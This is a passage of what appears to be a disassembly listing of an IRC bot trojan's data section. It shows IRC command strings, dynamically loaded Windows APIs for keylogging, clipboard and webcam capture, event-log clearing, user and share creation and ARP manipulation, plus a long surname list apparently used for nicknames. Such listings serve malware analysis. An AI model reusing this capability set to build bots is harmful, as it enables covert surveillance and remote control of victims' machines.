		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D080	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42D0EC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42D0F0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42D0F4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D9F4	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 10h
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42DB84	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBB4	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DBE4	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42DC08	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42DC4C	dd 0			; DATA XREF: sub_40B08D+7o
off_42DC50	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42DCB8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCC4	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
